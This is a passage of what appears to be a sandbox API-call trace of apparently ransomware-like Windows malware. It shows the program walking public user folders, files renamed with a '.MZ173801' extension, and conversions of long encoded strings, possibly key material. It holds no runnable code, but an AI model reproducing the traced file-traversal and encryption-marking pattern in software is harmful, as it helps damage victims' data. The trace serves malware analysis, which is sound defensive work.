nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName=".", cAlternateFileName="")) returned 0x2fc6c0 [0143.216] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f774 | out: lpLocalFileTime=0x18f774) returned 1 [0143.216] FileTimeToDosDateTime (in: lpFileTime=0x18f774, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0143.216] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa62083a0, ftLastAccessTime.dwHighDateTime=0x1d60051, ftLastWriteTime.dwLowDateTime=0xa62083a0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="..", cAlternateFileName="")) returned 1 [0143.216] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0143.216] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0143.216] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be84d57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x24a, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0143.216] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be5ebf7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0xa547e680, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x8064f1, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Kalimba.mp3.MZ173801", cAlternateFileName="")) returned 1 [0143.216] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0143.216] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0143.216] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be38a97, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0xa5ba2880, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x3ec5d2, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Maid with the Flaxen Hair.mp3.MZ173801", cAlternateFileName="MAIDWI~1.MZ1")) returned 1 [0143.216] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0143.216] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0143.216] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x802f4656, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be38a97, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0xa62083a0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x49e459, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Sleep Away.mp3.MZ173801", cAlternateFileName="SLEEPA~1.MZ1")) returned 1 [0143.216] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0143.216] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0143.216] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x802f4656, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be38a97, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0xa62083a0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x49e459, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Sleep Away.mp3.MZ173801", cAlternateFileName="SLEEPA~1.MZ1")) returned 0 [0143.216] GetLastError () returned 0x12 [0143.216] FindClose (in: hFindFile=0x2fc6c0 | out: hFindFile=0x2fc6c0) returned 1 [0143.217] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8031a7b6, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xff44aade, dwReserved1=0xa03bf443, cFileName="Sample Music", cAlternateFileName="SAMPLE~1")) returned 0 [0143.217] GetLastError () returned 0x12 [0143.217] FindClose (in: hFindFile=0x2fc680 | out: hFindFile=0x2fc680) returned 1 [0143.217] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x18fb28, csidl=54, fCreate=0 | out: pszPath="C:\\Users\\Public\\Pictures") returned 1 [0143.220] GetFileAttributesW (lpFileName="C:\\Users\\Public\\Pictures" (normalized: "c:\\users\\public\\pictures")) returned 0x11 [0143.220] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x18fb28, csidl=54, fCreate=0 | out: pszPath="C:\\Users\\Public\\Pictures") returned 1 [0143.220] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Pictures\\*.*", lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc57cf0ab, dwReserved1=0xa03bf443, cFileName=".", cAlternateFileName="")) returned 0x2fc680 [0143.220] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc57cf0ab, dwReserved1=0xa03bf443, cFileName="..", cAlternateFileName="")) returned 1 [0143.220] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x282dfaee, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0xc57cf0ab, dwReserved1=0xa03bf443, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0143.221] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa40 | out: lpLocalFileTime=0x18fa40) returned 1 [0143.221] FileTimeToDosDateTime (in: lpFileTime=0x18fa40, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0143.221] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80340916, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc57cf0ab, dwReserved1=0xa03bf443, cFileName="Sample Pictures", cAlternateFileName="SAMPLE~1")) returned 1 [0143.221] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80340916, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc57cf0ab, dwReserved1=0xa03bf443, cFileName="Sample Pictures", cAlternateFileName="SAMPLE~1")) returned 0 [0143.221] GetLastError () returned 0x12 [0143.221] FindClose (in: hFindFile=0x2fc680 | out: hFindFile=0x2fc680) returned 1 [0143.221] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Pictures\\*.*", lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc57cf0ab, dwReserved1=0xa03bf443, cFileName=".", cAlternateFileName="")) returned 0x2fc680 [0143.222] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa40 | out: lpLocalFileTime=0x18fa40) returned 1 [0143.222] FileTimeToDosDateTime (in: lpFileTime=0x18fa40, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0143.222] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc57cf0ab, dwReserved1=0xa03bf443, cFileName="..", cAlternateFileName="")) returned 1 [0143.222] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0143.222] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0143.222] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x282dfaee, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0xc57cf0ab, dwReserved1=0xa03bf443, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0143.222] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80340916, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc57cf0ab, dwReserved1=0xa03bf443, cFileName="Sample Pictures", cAlternateFileName="SAMPLE~1")) returned 1 [0143.222] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0143.222] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0143.222] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\*.*", lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80340916, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName=".", cAlternateFileName="")) returned 0x2fc6c0 [0143.224] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80340916, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="..", cAlternateFileName="")) returned 1 [0143.224] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7beaaeb8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xd6b22, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Chrysanthemum.jpg", cAlternateFileName="CHRYSA~1.JPG")) returned 1 [0143.224] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f774 | out: lpLocalFileTime=0x18f774) returned 1 [0143.224] FileTimeToDosDateTime (in: lpFileTime=0x18f774, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0143.224] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Chrysanthemum.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\chrysanthemum.jpg"), fInfoLevelId=0x0, lpFileInformation=0x18f704 | out: lpFileInformation=0x18f704*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7beaaeb8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xd6b22)) returned 1 [0143.227] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0143.227] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0143.228] GetCurrentThreadId () returned 0x9fc [0143.228] GetCurrentThreadId () returned 0x9fc [0143.228] GetCurrentThreadId () returned 0x9fc [0143.229] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 428 [0143.229] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 